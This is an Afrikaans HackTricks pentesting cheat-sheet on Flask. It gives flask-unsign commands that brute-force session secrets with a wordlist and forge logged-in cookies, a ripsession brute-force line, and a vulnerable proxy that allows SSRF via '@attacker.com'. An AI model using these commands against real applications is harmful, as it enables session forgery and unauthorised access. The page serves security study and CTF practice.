Flask

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

Waarskynlik, as jy ’n CTF speel, sal ’n Flask-toepassing verwant wees aan SSTI.

Cookies

Standaard cookie-sessienaam is session.

Dekodeerder

Aanlyn Flask cookies dekodeerder: https://www.kirsle.net/wizards/flask-session.cgi

Handmatig

Neem die eerste deel van die cookie tot by die eerste punt en Base64-dekodeer dit:

echo "ImhlbGxvIg" | base64 -d

Die cookie is ook met ’n wagwoord onderteken

Flask-Unsign

Command line tool om session cookies van ’n Flask-toepassing op te haal, te dekodeer, brute-force en te vervaardig deur geheime sleutels te raai.

Client Challenge

pip3 install flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Brute Force

flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Ondertekening

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Ondertekening met legacy (ou weergawes)

flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Opdragreël-gereedskap om websites te brute-force met cookies wat met flask-unsign geskep is.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign. \xc2\xb7 GitHub

ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

This example gebruik die sqlmap eval-opsie om sqlmap payloads vir flask outomaties te onderteken met ’n bekende secret.

Flask Proxy na SSRF

In this writeup word verduidelik hoe Flask ’n versoek wat begin met die karakter “@” toelaat:

GET @/ HTTP/1.1
Host: target.com
Connection: close

Watter van die volgende scenario’s:

from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Kan toelaat dat iets soos “@attacker.com” ingevoer word om ’n SSRF te veroorsaak.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks